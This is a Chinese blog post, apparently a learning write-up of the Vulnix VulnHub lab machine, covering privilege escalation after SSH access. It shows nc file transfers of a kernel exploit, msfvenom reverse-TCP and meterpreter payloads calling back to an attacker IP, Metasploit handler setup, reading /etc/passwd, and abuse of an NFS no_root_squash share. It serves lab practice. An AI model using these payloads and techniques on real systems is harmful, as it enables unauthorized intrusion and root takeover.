Vulnix——nfs提权

Vulnix——nfs提权 | InfoSec Learning Vulnix——nfs提权

Vulnix——nfs提权

Vulnix——nfs提权

续上篇:前景提要,通过smtp的信息泄露,用暴力枚举的方式,我们得到了一个ssh登陆普通用户权限的账号和密码。

根据以往的经验,提权可以通过linux内核的漏洞,然后运行对应的exploit,来进行提权。

uname -a    搜索exploit-db,有提权漏洞。https://www.exploit-db.com/exploits/18411/

linux 3.2.0-29-generic-pae

gcc           不能用gcc编译exploit

The program 'gcc' can be found in the following packages:

* gcc

* pentium-builder

Ask your administrator to install one of them

因为目标靶机没有权限用gcc编译,所以尝试在kali上编译好了发送过来。

nc -lvp 666 < shell           shell是编译好的可执行文件,在kali上监听

nc  192.168.1.107 666 > shell   连接攻击机的666端口,将文件保存为shell

chmod +x shell

./shell

-bash: ./shell: cannot execute binary file

 cannot execute binary file:参考

那么,可能的原因是不是root,权限不过。要么是,版本不同,必须在目标靶机上编译才能运行。

尝试反弹一个shell给攻击机

攻击机:msfvenom -p linux/x86/shell_reverse_tcp -f elf lhost=192.168.1.107 lport=1234 > /var/www/shell

              nc -lvp 666 < /var/www/shell

靶机:nc 192.168.1.107 666 > exploit

            chmod +x exploit

攻击机:msfconsole

            use exploit/multi/handler

            set payload linux/x86/shell_reverse_tcp

            set LHOST 192.168.1.107

            set LPORT 1234

            run

靶机:./exploit

我说怎么还是user权限,不是meterpreter.....原来生成的攻击载荷搞错了。ORZ


重新尝试:

msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.1.107 LPORT=1234 X > /var/www/door

省略一些命令。。。


em..?未知的命令.....所以meterpreter该怎么用。

ps                          列出所有进程

migrate 1785          迁移到pid为1785的进程

[*] Migrating to 1785

[-] Error running command migrate: Rex::RuntimeError Unsupported session x86/linux

getsystem

[-] Unknown command: getsystem.

据说:getsystem 大部分都会失败 他只尝试了4个Payload。

但是,就是失败,也不应该是unknown command?怀疑我用的是假的meterpreter........

第二次重新尝试:

查看payload需要的参数:

方法一:msfvenom -p linux/x86/meterpreter/reverse_tcp --payload-options   

Basic options:

Name  Current Setting  Required  Description

LPORT  4444                yes      The listen port

RHOST                         no        The target address

方法二:use  payload/linux/x86/meterpreter/reverse_tcp

              show options

              back


msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf LHOST=192.168.1.107 LPORT=1234 X > /var/www/html/xxx

wget http://192.168.1.107/xxx

成功获取到了meterpreter。


cat /etc/passwd

根据大于500的为用户账号,系统用户有

user:x:1000:1000:user,,,:/home/user:/bin/bash

vulnix:x:2008:2008::/home/vulnix:/bin/bash

nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

background

search exploit/linux/local 

meterpreter提权参考。陷入了困境,不知道运行什么样的exp才能获取到最高权限。

search cve:2012-0056       找到一个通过cve编号搜索的方法,但是msf没有对应的exp可用


2018.2.4更新。暂时先放一放meterpreter提权,在上一篇侦察中,获取到靶机开放了nfs服务,Network File System,网络文件系统。用来共享文件。

2049/tcp open  nfs_acl    2-3 (RPC #100227)

于是,需要用nfs客户端,apt-get install nfs-common。

参考:http://www.phpfans.net/ask/answer1/3810159017.html (root_squath )

          http://blog.csdn.net/yesuhuangsi/article/details/66475053(ssh使用RSA公钥免密登录远程主机)

          https://www.jianshu.com/p/72e892ab8edf (三步实现SSH无密码登录)

          http://man.linuxde.net/nano (编辑器nano用法)

将靶机root_squash,更改为no_root_squash.

no_root_squash:登入 NFS 主机使用分享目录的使用者,如果是 root 的话,那么对于这个分享的目录来说,他就具有 root 的权限!这个项目『极不安全』,不建议使用!

root_squash:在登入 NFS 主机使用分享之目录的使用者如果是 root 时,那么这个使用者的权限将被压缩成为匿名使用者,通常他的 UID 与 GID 都会变成 nobody 那个系统账号的身份。

关于nfs共享目录的使用技巧,如果没有用过nfs服务,学习下。


显示远程服务器共享目录

将远程共享目录挂载到本地,/tmp/nfs 是本地的一个目录。如果没有该目录,可以用“mkdir /tmp/nfs”来新建。
mount -t nfs 192.168.1.113:/home/vulnix /tmp/nfs


writup: http://www.abatchy.com/2016/10/walkthrough-vulnix-vulnhub-vm

靶机重启后,有root权限,就可以用gcc编译exp了。

cp /root/Desktop/shell.c .

gcc shell.c -o shell

chmod +x shell

./shell

总结:

nfs网络文件系统以前根本没用过,,协议不是很熟悉,所以也不知道怎么利用。。

no_root_squash提权,就好比ftp协议的匿名用户读写权限吧,我是这么想的。。

简单邮件协议smtp配置不当会泄露用户名什么的,再利用ssh爆破真是骚操作。。